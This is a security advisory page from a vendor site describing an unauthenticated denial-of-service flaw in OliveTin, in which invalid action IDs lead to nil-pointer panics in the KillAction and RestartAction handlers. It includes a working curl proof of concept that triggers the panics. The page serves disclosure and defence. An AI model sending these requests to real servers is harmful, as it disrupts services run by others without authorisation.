Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ GHSA-fwhj-785h-43hh — olivetin

⚪ Unknown ✅ No Known Exploit CWE-20 OSV
N/A
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

OliveTin has crash on NPE by calling APIs with invalid bindings or log references

Summary

An unauthenticated attacker can trigger server-side panics by first creating an execution log entry with a nil binding via StartActionByGet (invalid action ID), then calling KillAction or RestartAction on that tracking ID. This causes a nil-pointer dereference in API handlers and results in repeated per-request panics (Empty reply from server), enabling denial of service through panic/log/CPU amplification.

Details

The issue is caused by this flow:

1. StartActionByGet accepts arbitrary actionId and still calls executor:

  • service/internal/api/api.go:239

2. Executor stores a log entry before binding validation:

  • service/internal/executor/executor.go:519

3. If binding is nil, execution stops, but the log entry remains:

  • service/internal/executor/executor.go:781

4. KillAction dereferences execReqLogEntry.Binding.Action without checking Binding:

  • service/internal/api/api.go:79

5. RestartAction has the same unsafe dereference:

  • service/internal/api/api.go:1285

Because the dereference happens before authorization checks in these handlers, this is reachable unauthenticated.

PoC

Environment:

  • OliveTin default single frontend on http://localhost:1337
  • Reproduced on main (commit 235493e) and tag 3000.11.0

1) Create orphan tracking ID with invalid action:

```bash

T=$(curl -s -X POST http://localhost:1337/api/StartActionByGet \

-H 'Content-Type: application/json' \

--data '{"actionId":"does-not-exist"}' \

| sed -n 's/.*"executionTrackingId":"\([^"]*\)".*/\1/p')

echo "$T"

2. Trigger panic in RestartAction:

curl -v -X POST http://localhost:1337/api/RestartAction \

-H 'Content-Type: application/json' \

--data "{\"executionTrackingId\":\"$T\"}"

3. Trigger panic in KillAction:

curl -v -X POST http://localhost:1337/api/KillAction \

-H 'Content-Type: application/json' \

--data "{\"executionTrackingId\":\"$T\"}"

Observed client output:

  • curl: (52) Empty reply from server

Observed server log:

  • panic serving ... runtime error: invalid memory address or nil pointer dereference
  • stack points to:
  • service/internal/api/api.go:79 (KillAction)
  • service/internal/api/api.go:1285 (RestartAction)

```

Impact

This is an unauthenticated denial-of-service vulnerability (panic-based request disruption and log/CPU amplification). An attacker can repeatedly trigger panics remotely without credentials, degrading service reliability and observability.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability low.

Weakness class

GHSA-fwhj-785h-43hh is classified as CWE-20: Improper Input Validation. The application accepts input without checking that it has the expected form, so malformed values reach code that assumes they are well formed.

Affected software

GHSA-fwhj-785h-43hh is recorded against 1 package.

  • github.com/olivetin/olivetin

Timeline and source

Published on 5 March 2026 and last revised on 23 March 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)

Details

Severity Unknown
CVSS Score N/A
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
CWE CWE-20
Public Exploit ✅ No
Source OSV
Published 2026-03-05
Updated 2026-08-20
Modified 2026-03-23
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/olivetin/olivetin

Similar Threats

Free Vulnerability Check

Is your site affected by GHSA-fwhj-785h-43hh?

BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against GHSA-fwhj-785h-43hh and other known CVE records.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.